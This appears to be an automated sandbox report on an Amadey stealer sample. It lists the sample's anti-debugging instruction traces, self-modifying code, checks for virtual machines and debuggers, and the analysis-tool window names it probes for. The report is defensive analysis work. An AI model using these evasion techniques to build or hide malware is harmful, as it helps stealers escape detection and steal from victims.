Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C02F6 second address: 51C0353 instructions: 0x00000000 rdtsc 0x00000002 mov dh, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F15B904E932h 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov si, 2E3Dh 0x00000013 mov dx, ax 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 jmp 00007F15B904E934h 0x0000001d push eax 0x0000001e jmp 00007F15B904E92Bh 0x00000023 xchg eax, edi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F15B904E935h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0353 second address: 51C0384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FBB370h] 0x0000000e jmp 00007F15B8B8418Eh 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0384 second address: 51C038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C038A second address: 51C03DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F15B8B8418Dh 0x00000014 xor eax, 6D5069D6h 0x0000001a jmp 00007F15B8B84191h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 call 00007F15B8B8418Eh 0x00000027 pop ecx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C03DB second address: 51C0400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B904E930h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0400 second address: 51C0406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0406 second address: 51C04CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 56B3h 0x00000007 movzx eax, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push edi 0x00000010 mov ah, 09h 0x00000012 pop edx 0x00000013 popad 0x00000014 nop 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F15B904E930h 0x0000001c add si, 73E8h 0x00000021 jmp 00007F15B904E92Bh 0x00000026 popfd 0x00000027 jmp 00007F15B904E938h 0x0000002c popad 0x0000002d lea eax, dword ptr [ebp-10h] 0x00000030 pushad 0x00000031 push esi 0x00000032 mov ecx, edx 0x00000034 pop edx 0x00000035 popad 0x00000036 mov dword ptr fs:[00000000h], eax 0x0000003c jmp 00007F15B904E92Bh 0x00000041 mov esi, dword ptr [ebp+08h] 0x00000044 jmp 00007F15B904E936h 0x00000049 mov eax, dword ptr [esi+10h] 0x0000004c jmp 00007F15B904E930h 0x00000051 test eax, eax 0x00000053 jmp 00007F15B904E930h 0x00000058 jne 00007F162AD4E19Bh 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F15B904E937h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C04CE second address: 51C04D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C04D4 second address: 51C04D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C04D8 second address: 51C04DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C04DC second address: 51C056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 00000000h 0x0000000d pushad 0x0000000e pushad 0x0000000f mov cx, 664Fh 0x00000013 movzx esi, di 0x00000016 popad 0x00000017 mov esi, edx 0x00000019 popad 0x0000001a mov dword ptr [ebp-20h], eax 0x0000001d jmp 00007F15B904E933h 0x00000022 mov ebx, dword ptr [esi] 0x00000024 pushad 0x00000025 jmp 00007F15B904E934h 0x0000002a pushfd 0x0000002b jmp 00007F15B904E932h 0x00000030 xor ah, FFFFFF88h 0x00000033 jmp 00007F15B904E92Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov dword ptr [ebp-24h], ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 movsx ebx, ax 0x00000043 pushfd 0x00000044 jmp 00007F15B904E92Ch 0x00000049 or ax, 46E8h 0x0000004e jmp 00007F15B904E92Bh 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C056E second address: 51C05D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ebx, ebx 0x0000000b pushad 0x0000000c jmp 00007F15B8B8418Ch 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 je 00007F162A883866h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F15B8B84199h 0x00000022 pop eax 0x00000023 call 00007F15B8B84191h 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C05D3 second address: 51C0008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp ebx, FFFFFFFFh 0x0000000c jmp 00007F15B904E930h 0x00000011 jmp 00007F162AD4DFA9h 0x00000016 jne 00007F15B904E949h 0x00000018 xor ecx, ecx 0x0000001a mov dword ptr [esi], ecx 0x0000001c mov dword ptr [esi+04h], ecx 0x0000001f mov dword ptr [esi+08h], ecx 0x00000022 mov dword ptr [esi+0Ch], ecx 0x00000025 mov dword ptr [esi+10h], ecx 0x00000028 mov dword ptr [esi+14h], ecx 0x0000002b mov ecx, dword ptr [ebp-10h] 0x0000002e mov dword ptr fs:[00000000h], ecx 0x00000035 pop ecx 0x00000036 pop edi 0x00000037 pop esi 0x00000038 pop ebx 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c retn 0004h 0x0000003f nop 0x00000040 pop ebp 0x00000041 ret 0x00000042 add esi, 18h 0x00000045 pop ecx 0x00000046 cmp esi, 00B456A8h 0x0000004c jne 00007F15B904E910h 0x0000004e push esi 0x0000004f call 00007F15B904F193h 0x00000054 push ebp 0x00000055 mov ebp, esp 0x00000057 push dword ptr [ebp+08h] 0x0000005a call 00007F15BD71196Ah 0x0000005f mov edi, edi 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 movzx esi, bx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0B62 second address: 51B0B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0B66 second address: 51B0B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0B6A second address: 51B0B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0B70 second address: 51B0BED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B904E932h 0x00000009 or cx, D898h 0x0000000e jmp 00007F15B904E92Bh 0x00000013 popfd 0x00000014 jmp 00007F15B904E938h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F15B904E92Dh 0x00000027 or si, 60E6h 0x0000002c jmp 00007F15B904E931h 0x00000031 popfd 0x00000032 jmp 00007F15B904E930h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AC44C second address: 5AC450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AB975 second address: 5AB984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15B904E926h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AB984 second address: 5AB98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AB98A second address: 5AB98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AE9D6 second address: 5AEAA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a xor dword ptr [esp], 17B040F5h 0x00000011 sub dx, E778h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F15B8B84188h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 sbb si, 94B5h 0x00000037 push 00000000h 0x00000039 jbe 00007F15B8B84192h 0x0000003f push 00000003h 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F15B8B84188h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b mov ecx, 7DD4C3B3h 0x00000060 movsx esi, bx 0x00000063 push B6F90C00h 0x00000068 jmp 00007F15B8B84193h 0x0000006d xor dword ptr [esp], 76F90C00h 0x00000074 mov edx, dword ptr [ebp+122D3BBEh] 0x0000007a lea ebx, dword ptr [ebp+124538BCh] 0x00000080 mov dword ptr [ebp+122D1D15h], ecx 0x00000086 xchg eax, ebx 0x00000087 pushad 0x00000088 jmp 00007F15B8B84194h 0x0000008d push eax 0x0000008e push eax 0x0000008f push edx 0x00000090 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AEB35 second address: 5AEBA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F15B904E928h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 add dword ptr [ebp+122D2588h], esi 0x0000002a push 00000000h 0x0000002c jmp 00007F15B904E937h 0x00000031 mov dl, ah 0x00000033 call 00007F15B904E929h 0x00000038 jc 00007F15B904E934h 0x0000003e push eax 0x0000003f push ecx 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AEBA0 second address: 5AEC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jmp 00007F15B8B84190h 0x00000010 jng 00007F15B8B84188h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007F15B8B84192h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push ecx 0x00000025 push edx 0x00000026 jng 00007F15B8B84186h 0x0000002c pop edx 0x0000002d pop ecx 0x0000002e pop eax 0x0000002f pushad 0x00000030 call 00007F15B8B8418Eh 0x00000035 add dword ptr [ebp+122D1F60h], edx 0x0000003b pop ebx 0x0000003c call 00007F15B8B84194h 0x00000041 or di, F831h 0x00000046 pop eax 0x00000047 popad 0x00000048 push 00000003h 0x0000004a jnp 00007F15B8B8418Bh 0x00000050 push 00000000h 0x00000052 js 00007F15B8B8418Ch 0x00000058 push 00000003h 0x0000005a mov esi, dword ptr [ebp+122D1DD6h] 0x00000060 jmp 00007F15B8B84191h 0x00000065 call 00007F15B8B84189h 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F15B8B84197h 0x00000071 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AEC6E second address: 5AEC7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AEC7E second address: 5AEC8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AEC8D second address: 5AECB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F15B904E933h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AECB1 second address: 5AED14 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15B8B8418Eh 0x0000000b popad 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F15B8B84188h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1D22h], ebx 0x0000002d mov dword ptr [ebp+122D2CFAh], ecx 0x00000033 lea ebx, dword ptr [ebp+124538C5h] 0x00000039 mov edx, dword ptr [ebp+122D3B4Eh] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F15B8B8418Dh 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 5AED14 second address: 5AED1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Special instruction interceptor: First address: B4EECF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Special instruction interceptor: First address: CF0FFA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Special instruction interceptor: First address: D1AF8C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Special instruction interceptor: First address: B4EDD9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Special instruction interceptor: First address: CFC81B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Special instruction interceptor: First address: D81C80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 42EECF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 5D0FFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 5FAF8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 42EDD9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 5DC81B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 661C80 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Code function: 0_2_05210437 rdtsc 0_2_05210437
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1279 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 502 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7312 Thread sleep count: 31 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7312 Thread sleep time: -62031s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7260 Thread sleep count: 1279 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7260 Thread sleep time: -2559279s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7196 Thread sleep count: 502 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7196 Thread sleep time: -15060000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 824 Thread sleep time: -540000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: skotes.exe, skotes.exe, 00000005.00000002.4138177961.00000000005B6000.00000040.00000001.01000000.00000008.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: W5kZFcSOtE.exe, 00000000.00000003.1698357997.0000000001392000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 00000005.00000002.4139586451.000000000144A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWo
Source: skotes.exe, 00000005.00000002.4139586451.000000000144A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: W5kZFcSOtE.exe, 00000000.00000002.1727589507.0000000000CD6000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1757404779.00000000005B6000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.4138177961.00000000005B6000.00000040.00000001.01000000.00000008.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000005.00000002.4139586451.00000000013F8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_05450BEE Start: 05450C27 End: 05450C31 5_2_05450BEE
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Code function: 0_2_05210437 rdtsc 0_2_05210437
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003F652B mov eax, dword ptr fs:[00000030h] 5_2_003F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003FA302 mov eax, dword ptr fs:[00000030h] 5_2_003FA302
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: skotes.exe, skotes.exe, 00000005.00000002.4138177961.00000000005B6000.00000040.00000001.01000000.00000008.sdmp Binary or memory string: ~gProgram Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003DD3E2 cpuid 5_2_003DD3E2
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003DCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 5_2_003DCBEA

Stealing of Sensitive Information
barindex
Yara detected Amadey
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Amadeys stealer DLL
Source: Yara match File source: 1.2.skotes.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.W5kZFcSOtE.exe.ae0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.skotes.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1727519069.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4138010336.00000000003C1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1757338610.00000000003C1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
